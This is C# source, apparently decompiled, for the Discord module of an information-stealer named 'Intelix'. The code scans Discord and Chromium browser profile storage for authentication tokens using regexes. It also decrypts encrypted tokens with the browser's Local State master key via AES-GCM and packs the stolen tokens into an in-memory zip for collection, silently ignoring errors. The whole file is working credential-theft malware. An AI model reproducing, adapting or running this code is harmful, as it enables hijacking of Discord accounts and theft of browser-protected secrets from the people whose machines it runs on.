using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; using Intelix.Helper.Data; using Intelix.Helper.Encrypted; namespace Intelix.Targets.Messangers; public class Discord : ITarget { private static readonly Regex _tokenRegex = new Regex("(mfa\\.[\\w-]{80,})|((MT|OD)[\\w-]{22,24}\\.[\\w-]{6}\\.[\\w-]{25,110})", RegexOptions.IgnoreCase | RegexOptions.Compiled); private static readonly Regex _encryptedRegex = new Regex("\"dQw4w9WgXcQ:([^\"]+)\"", RegexOptions.IgnoreCase | RegexOptions.Compiled); public void Collect(InMemoryZip zip, Counter counter) { Counter.CounterApplications counterApplications = new Counter.CounterApplications(); counterApplications.Name = "Discord"; counterApplications.Files.Add("Discord\\"); Task task = Task.Run(delegate { Parallel.ForEach(Paths.Discord, delegate(string path) { string text = path + "\\Local Storage\\leveldb"; if (Directory.Exists(text)) { string localstate = path + "\\Local State"; List list = TokensGrabber(text, localstate); if (list.Any()) { string browserName = Paths.GetBrowserName(path); string text2 = "Discord\\" + browserName + ".txt"; counterApplications.Files.Add(path + " => " + text2); zip.AddTextFile(text2, string.Join("\n", list)); } } }); }); Task task2 = Task.Run(delegate { Parallel.ForEach(Paths.Chromium, delegate(string path) { if (Directory.Exists(path)) { Parallel.ForEach(Directory.GetDirectories(path), delegate(string profile) { string text = profile + "\\Local Storage\\leveldb"; if (Directory.Exists(text)) { string localstate = path + "\\Local State"; List list = TokensGrabber(text, localstate); if (list.Any()) { string browserName = Paths.GetBrowserName(path); string text2 = "Discord\\" + browserName + " " + Path.GetFileName(profile) + ".txt"; counterApplications.Files.Add(path + " => " + text2); zip.AddTextFile(text2, string.Join("\n", list)); } } }); } }); }); Task.WaitAll(task, task2); if (counterApplications.Files.Count() > 0) { counter.Messangers.Add(counterApplications); } } private List TokensGrabber(string localstorage, string localstate) { List source = SearchFiles(localstorage); ConcurrentBag tokens = new ConcurrentBag(); ConcurrentBag tokensEncrypted = new ConcurrentBag(); Parallel.ForEach(source, delegate(string localdb) { try { string content = File.ReadAllText(localdb); Parallel.ForEach(SearchToken(content), delegate(string token) { tokens.Add(token); }); Parallel.ForEach(SearchEncryptedTokens(content), delegate(string token) { tokensEncrypted.Add(token); }); } catch { } }); ConcurrentBag distinctTokens = new ConcurrentBag(tokens.Distinct()); if (!tokensEncrypted.Any()) { return distinctTokens.Distinct().ToList(); } byte[] key = LocalState.MasterKeyV10(localstate); if (key == null) { return distinctTokens.Distinct().ToList(); } Parallel.ForEach(tokensEncrypted.Distinct(), delegate(string encrypted) { try { byte[] array = AesGcm.DecryptBrowser(Convert.FromBase64String(encrypted), key, null, checkprefix: false); if (array != null) { distinctTokens.Add(Encoding.UTF8.GetString(array).Trim()); } } catch { } }); return distinctTokens.Distinct().ToList(); } private List SearchFiles(string path) { ConcurrentBag locals = new ConcurrentBag(); string[] allowedExtensions = new string[3] { ".log", ".ldb", ".sqlite" }; Parallel.ForEach(Directory.GetFiles(path), delegate(string file) { if (allowedExtensions.Contains(Path.GetExtension(file))) { locals.Add(file); } }); return locals.ToList(); } private List ExtractMatches(string content, Regex regex) { HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); foreach (Match item in regex.Matches(content)) { string value = item.Groups[1].Value; if (!string.IsNullOrWhiteSpace(value)) { hashSet.Add(value); } } return hashSet.ToList(); } private List SearchToken(string content) { return ExtractMatches(content, _tokenRegex); } private List SearchEncryptedTokens(string content) { return ExtractMatches(content, _encryptedRegex); } }